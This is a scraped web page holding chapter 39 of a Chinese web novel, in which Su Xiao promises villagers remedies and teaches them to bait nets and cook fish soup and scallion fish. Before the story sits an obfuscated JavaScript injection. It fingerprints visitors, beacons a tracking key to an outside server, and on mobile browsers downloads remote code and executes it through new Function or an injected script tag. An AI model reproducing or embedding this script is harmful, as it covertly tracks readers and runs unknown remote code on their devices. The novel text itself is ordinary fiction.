足迹
陆程鲁
登录
关灯
护眼
字体:

第39章 商机(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

苏晓并没有过多犹豫,当场答应下来:“好,这几天恐怕也要连日下雪,大家都没有农活,你们排着队,趁着闲时去我家找我,我给你们开个方子。”

反正银针也有了。

遇到实在棘手的,施针治疗就是。

就当感谢大家昨夜为自己出气,今后互帮互助,日子也更好过。

“诶呀,姑娘答应了!”

“那谁第一个去?”

“要不,咱抓阄?”

“这个行,一天就去两三个,也别让姑娘太费神!”

大家有说有笑的,没多久就把鱼分好了。

有些人家孩子多,劳力少,大家都甘愿多让两条。

苏晓让大家检查渔网是否破损,又在上游一些的位置抛了下去。

她拿出在家就团好的粟米团子,扔在渔网的最中央。

见众人好奇,她笑着解释:“这叫打窝,发现有吃的,鱼儿也就都来了。”

大家齐刷刷地点头,又是连声一顿夸,说她懂得真多。

每天都这么被夸来夸去,苏晓是真心觉得,自己都快被夸得飘飘然了!

提着鱼回去,由于季家院子不大,就都去了葛庄头的家中。

自然有人把大锅抬了出来,苏晓要什么,立即准备上,还切好洗好,她几乎只用动动嘴皮子的。

她干脆把掌厨的位置让出来了,坐在用石头现搭的炉子前面守着火:“杨婶子,我来说,你来做吧。”

“行!”杨婶子一点头,抓起锅铲,等苏晓示下。

“倒油,别太省,把去鳞去鳃,打好花刀,抹了盐腌制一会的鱼,放下去煎……别着急,等它定型。”

看着差不多了,苏晓又道:“翻面!等另外一面也煎好了,倒入开水,能煮出白花花的浓汤,这时候放些山胡椒提味就很鲜美了,也可以放些豆腐下去,青菜叶子也可以。”

“好香啊!”

“你们看,还真是白色的汤!”

“闻着只有鲜味,还真没什么腥味了!”

听到大家感叹,苏晓也没显着,指着早已切好的葱花:“撒一点下去,增香!”

杨婶子好奇不已:“这就成了?”

“成了。”苏晓点点头:“鱼肉很嫩,是很容易熟的,我还有两个做法,接下来换谁?”

“我来我来!”

等到鱼汤出锅,另一个妇人接手。

“这倒是葱烧鱼,前面也是一样,要先处理好,再好好腌制,晾干水分,煎至两面金黄,这要煎地透透的,确保熟了,盛出来备用。”

“然后,留着底油,放辣椒和葱姜蒜……对,那么多葱花,都放下去!调好的料汁呢?也倒进去熬煮!”

苏晓盯着瞧,闻着越来越浓郁的香味,自己也已经馋坏了。

“可以了,把鱼放下去吧,轻轻翻动……好,起锅!”

一大碗葱烧鱼一盛出来,众人食指大动!

这看着,才是真正的色香味俱全啊!

一个个的也顾不了什么了,争先恐后地上去尝。

苏晓看得好笑,这里的人之所以不吃鱼,因为她们只知道去掉鱼的内脏。

什么鱼鳞鱼鳃都不懂得可以去除,更不懂得可以抹些盐,倒些葱姜腌制,只会放入锅中水煮。